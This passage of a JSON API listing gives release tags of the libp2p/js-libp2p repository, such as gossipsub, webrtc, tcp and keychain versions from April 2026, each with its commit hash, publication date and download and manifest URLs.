ad.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.18/manifests"},{"name":"floodsub-v11.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.17/manifests"},{"name":"fetch-v4.1.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.1/manifests"},{"name":"echo-v3.1.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.1/manifests"},{"name":"dcutr-v3.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.16/manifests"},{"name":"daemon-v6.0.18","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.18/manifests"},{"name":"daemon-server-v9.0.18","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.18/manifests"},{"name":"daemon-protocol-v8.0.6","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.6/manifests"},{"name":"daemon-client-v10.0.18","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.18/manifests"},{"name":"crypto-v5.1.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.16/manifests"},{"name":"config-v1.1.28","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.28/manifests"},{"name":"circuit-relay-v2-v4.2.1","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.1/manifests"},{"name":"bootstrap-v12.0.17","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.17/manifests"},{"name":"autonat-v3.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.16/manifests"},{"name":"autonat-v2-v2.0.16","sha":"bed97b8f9c0e783785bf88a0a6106dea6de532c3","kind":"commit","published_at":"2026-04-16T09:26:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.16/manifests"},{"name":"webtransport-v6.0.17","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.17/manifests"},{"name":"websockets-v10.1.8","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.8/manifests"},{"name":"webrtc-v6.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.16/manifests"},{"name":"utils-v7.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.15/manifests"},{"name":"upnp-nat-v4.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.15/manifests"},{"name":"transport-interop-libp2p-main-v1.0.17","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.17/manifests"},{"name":"tls-v3.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.15/manifests"},{"name":"tcp-v11.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.15/manifests"},{"name":"simple-metrics-v2.0.12","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.12/manifests"},{"name":"prometheus-metrics-v5.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.16/manifests"},{"name":"pnet-v3.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.16/manifests"},{"name":"plaintext-v3.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.15/manifests"},{"name":"ping-v3.1.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.0/manifests"},{"name":"perf-v5.1.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.0/manifests"},{"name":"peer-store-v12.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.15/manifests"},{"name":"peer-record-v9.0.7","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.7/manifests"},{"name":"peer-id-v6.0.6","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.6/manifests"},{"name":"peer-collections-v7.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.15/manifests"},{"name":"opentelemetry-metrics-v2.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.16/manifests"},{"name":"multistream-select-v7.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.15/manifests"},{"name":"mplex-v12.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.16/manifests"},{"name":"memory-v2.0.15","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.15/manifests"},{"name":"mdns-v12.0.16","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.16/manifests"},{"name":"logger-v6.2.4","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.4/manifests"},{"name":"libp2p-v3.2.0","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.0/manifests"},{"name":"keychain-v6.0.12","sha":"2ccd23464ae0d11ac3d2779c49829ae9a15184b2","kind":"commit","published_at":"2026-04-08T15:21:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.0.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.12","manifests_url":"https://repos.ecosyste.ms/a